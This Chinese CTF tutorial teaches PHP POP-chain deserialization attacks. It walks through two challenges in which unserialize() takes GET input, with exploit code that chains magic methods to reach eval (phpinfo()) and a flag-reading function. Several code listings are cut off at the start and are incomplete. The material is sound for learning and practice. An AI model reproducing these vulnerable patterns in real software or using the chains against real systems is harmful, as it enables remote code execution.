在了解了什么是简单的序列化与反序列化的简单利用,那么就讲讲进阶版的pop链。
pop又称之为面向属性编程(Property-Oriented Programing)
,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)
的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的;说的再具体一点就是 ROP 是通过栈溢出实现控制指令的执行流程,而我们的反序列化是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。
既然是连续调用链就会有头有尾,头当然是入口,也就是能传入参数的地方,一般都是GET或POST传参再unserialzie,尾巴毋庸置疑是可以达到攻击或获取数据的口子,比如eval、include等可以执行或者包含读取甚至是直接拿flag,如果有这些那肯定是尾巴了。有了头有又了尾,怎么通过这些连起来的成为一个问题,这时想到了序列化与反序列化最重要的一个点还没用上==>魔术方法!!
简单的回顾一下魔术方法的作用,如果想详细了解可以看我之前写的文章
魔术方法 | 作用 |
__construct() | 创建对象时触发 |
__destruct() | 对象被销毁时触发 |
__sleep() | 在对象被序列化的过程中自动调用,且发生在序列化之前 |
__wakeup() | 该魔术方法在反序列化的时候自动调用,且发生在反序列化之前 |
__get() | 用于从不可访问或不存在的属性读取数据 |
__set() | 用于将数据写入不可访问或不存在的属性 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__toString() | 在对象当做字符串的时候会被调用。 |
__invoke() | 当尝试将对象调用为函数时触发 |
再看看这些魔术方法,因为他们在序列化与反序列化时的特性可以达到相互连接的效果。
具体怎么实现直接分析几个题目应该会比较明了!
这个题是我自己想出(其实是乱写的哈哈哈)的
var = new errorr1();
}
function __destruct() {
$this->var->func();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data;
public function func() {
eval($this->data);
}
}
unserialize($_GET['err']);
?>
先找尾巴嘛,看来看去也errorr2中func内的eval可以执行命令,所以就选它了,而errorr0中__destruct()有这个意向,只需要控制errorr0中的变量var就行。最后得到的链子就是:
首-->errorr0 : : __construct() --> errorr0 : : __destruct() --> errorr2 : : func --> 尾{ eval() }
接下来构造exp,顺便提醒一下这里有个易错点,就是有人可能会构造这样的exp
为什么这样是错的?有兴趣可以自己试试,肯定不对劲。因为,errorr0中的var以及errorr2中的data分别是protected和private不可以在外部调用更不能修改赋值,这个时候就需要利用构造函数以及在内部修改。
所以构造正确的exp应该为:
var = new errorr2();
}
}
class errorr1 {
public $var;
function func() {
echo $this->var;
}
}
class errorr2 {
private $data="phpinfo();";
}
$a = new errorr0();
echo urlencode(serialize($a));
?>
可以对比对比错误的exp和正确的exp有哪方面不同。
在本机上打进去,就出phpinfo()了,在ctf中遇到这种差不多的题应该就相当于 rce+反序列化综合题。
这也是我所在团队去年的一道招新题,复现的话可以在NSSCTF平台找到。
admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
先找尾巴,很明显在w44m类中的Getflag()中,再顺着向前推,看看有没有什么可以调用Getflag()
看了一圈发现了w33m类中的__toString()中有个函数调用而且类名和函数名都是变量,那么这个__toString() 就和Getflag()连接起来了,再向前推,触发__toString()的条件是当一个对象被当作字符串处理,一看便看到了w22m中__destruct()
最后得到的pop链是:首-->w22m : : __destruct() --> w33m : : __toString() -->w44m : : Getflag()-->尾(flag)
分析完毕,接下来就是构造exp
exp:
w00m = $a;
$a->w00m = $c;
$a->w22m = "Getflag";
echo urlencode(serialize($b));
?>
可以看到出的序列化字符串中有方格一样的东西,这玩意儿是不可见字符,出现这种情况是因为w44m中有private和protected属性,而这所谓的不可见字符其实就是%00,具体出现的原因可以自行百度,不多讲,在这里提出来是因为以后如果碰到POST传参做入口时可以用到,这个题目由于是GET传参,在url中打入的字符串需要经过一次url解码,那就对原本的数据进行url编码就不会有这种问题了
其实也还没碰到比较多的pop链反序列化,有pop的也牵涉到session或者phar啥的,那些会在以后的文章中分享,所以如果以后碰到更多的题也会加到这篇文章中。谢谢阅读,有什么不对的欢迎大神指正,如果对你有帮助,就点个赞呗!!
参考文章:PHP POP 链 - zpchcbd - 博客园